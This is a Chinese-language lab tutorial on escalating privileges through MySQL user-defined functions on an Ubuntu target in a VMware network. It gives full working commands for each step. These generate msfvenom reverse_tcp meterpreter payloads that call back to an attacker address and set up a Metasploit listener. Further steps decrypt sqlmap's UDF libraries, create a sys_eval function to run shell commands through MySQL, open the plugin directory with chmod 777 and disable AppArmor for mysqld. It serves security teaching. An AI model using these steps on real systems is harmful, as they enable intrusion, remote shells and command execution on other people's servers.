我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、LINUX MYSQL UDF[提权]
1、漏洞介绍:
1.udf介绍
UDF是mysql的一个拓展接口,UDF(Userdefined function),可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数,udf就是为了让我们开发者能够自己写方便自己函数(其中包括了执行系统命令的函数,要想利用udf,必须上传udf.so或udf.dll作为udf的执行库),并且它有3种返回值,这三种分别是STRING字符型,INTEGER整型,REAL实数型。
2.udf定义格式
# 创建自定义函数
CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL} SONAME '文件名';
[]是可选项
[AGGREATE]是聚集函数的表示,系统定义的聚集函数比如有COUNT()、AVE()、MN()、MAX()、SUM()
SONAME 'file'表示这个函数从哪个文件里面引入,而这个文件一般是动态链接库,windows下是dll,linux是so,并且这个文件要在mysql的plugin目录下
# 删除自定义函数,如果要删除该函数,必须udf文件还存在plugin目录下
DROP FUNCTION function_name
3.mysql-udf提权原理
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.so或udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.so或udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
4.mysql-udf提权本质
udf提权本质上并不是真正意义上的提权,只是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话同样也没有特别大的意义!!!
2、漏洞背景:
192.168.97.130攻击者已经获得了192.168.97.135靶机的webshell,并且通过msfvenom和msfconsole联动获得了靶机的系统meterpreter的shell,但是此时shell的权限只是www-data权限。与此同时,由于我们也获得了192.168.97.135的mysql登录用户名和密码,因此我们可以尝试进行mysql的udf提权,从而通过mysql执行系统命令。
3、漏洞利用:
1.实验环境:
1.靶机环境:
(1)虚拟机Ubuntu15.04【www.webtester.com】【192.168.97.135】
(2)脚本语言环境:perl/python/php均存在
(3)mysql版本:mysql Ver 14.14 Distrib 5.5.62, for debian-linux-gnu (x86_64) using readline 6.3
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+nc瑞士军刀
3.网络环境:
(1)VMware搭建的NAT网络
2.一些实验前的准备:
1.在kali中,获取udf的利用脚本:
存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so
2.具体步骤:
cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
cd /mnt/hgfs/share/udf
python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.靶机链接:
URL:http://www.moontester.com/upload.php
4.实验步骤:
(1)前提:已经获得了靶机的一个webshell,并且通过上传64.elf获得了meterpreter的shell,并且已经得到了mysql的登录账号
第一步:攻击方制作木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 64.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 32.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 64.exe
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f exe > 32.exe
第二步:攻击方把木马放入靶机的/tmp下,并且赋予执行权限chmod +x 64.elf
第三步:攻击方使用木马
msfconsole
use exploit/multi/handler
#加载模块
set payload linux/x64/meterpreter/reverse_tcp
#修改成我们之前生成木马时使用的payload
set lhost 192.168.97.130
#设置kali的IP地址为监听地址
set lport 12345
#设置监听端口
run
#开启侦听
第四步:攻击方在靶机的webshell上执行./64elf
(2)python切换到交互式:python -c 'import pty; pty.spawn("/bin/bash")'
(3)查看mysql以及linux版本、登录mysql、查看plugin的目录,上传对应的udf脚本
第一步:mysql --version
第二步:mysql -uroot -p123456
第三步:select user();
第四步:select @@basedir;
//查看mysql安装目录
第五步:show variables like '%plugin%';
//查看plugin目录
第六步:上传udf脚本到plugin目录下
(4)从mysqludf_linux_64.so动态链接库里引入自定义函数sys_eval,以mysql的身份进行执行系统命令
第一步:create function sys_eval returns string soname 'mysqludf_linux_64.so';
//创建函数
第二步:select * from mysql.func where name = 'sys_eval';
// 查看我们创建的sys_eval函数
第三步:select sys_eval("whoami");
// 解除AppArMor访问控制权限之前,执行命令无效果
4、漏洞限制:
1.plugin目录不存在或者没权限写入文件
运行如下的命令,授予plugin目录写权限:
$ cd /usr/lib/mysql
$ chmod 777 plugin/
2.udf.so文件的版本不对
1.在kali中,获取udf的利用脚本:
存储加密了的udf脚本在:/usr/share/sqlmap/data/udf/mysql
其中对应的解密脚本(后缀有_)在:/usr/share/sqlmap/extra/cloak/cloak.py,
解密方法:python cloak.py -d -i lib_mysqludf_sys.so_ -o mysqludf_linux_64.so
2.具体步骤:
cp -r /usr/share/sqlmap/data/udf/mysql/* /mnt/hgfs/share/udf
cp -r /usr/share/sqlmap/extra/cloak/* /mnt/hgfs/share/udf/cloak
cd /mnt/hgfs/share/udf
python ./cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_ -o ./linux/64/mysqludf_linux_64.so
python ./cloak/cloak.py -d -i ./linux/32/lib_mysqludf_sys.so_ -o ./linux/32/mysqludf_linux_64.so
python ./cloak/cloak.py -d -i ./windows/64/lib_mysqludf_sys.dll_ -o ./windows/64/mysqludf_linux_64.dll
python ./cloak/cloak.py -d -i ./windows/32/lib_mysqludf_sys.dll_ -o ./windows/32/mysqludf_linux_64.dll
3.设置AppArMor访问控制权限【该情况会导致命令执行的结果为NULL
】
(1)AppArmor(Application Armor)是Linux内核的一个安全模块,AppArmor允许系统管理员将每个程序与一个安全配置文件关联,从而限制程序的功能。简单的说,AppArmor是与SELinux类似的一个访问控制系统,通过它你可以指定程序可以读、写或运行哪些文件,是否可以打开网络端口等。作为对传统Unix的自主访问控制模块的补充,AppArmor提供了强制访问控制机制,它已经被整合到2.6版本的Linux内核中。
(2)目前Ubuntu已自带了Apparmor, 可以在手册中获得相应的资料。
(3)运行如下的命令,解除访问控制:
$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld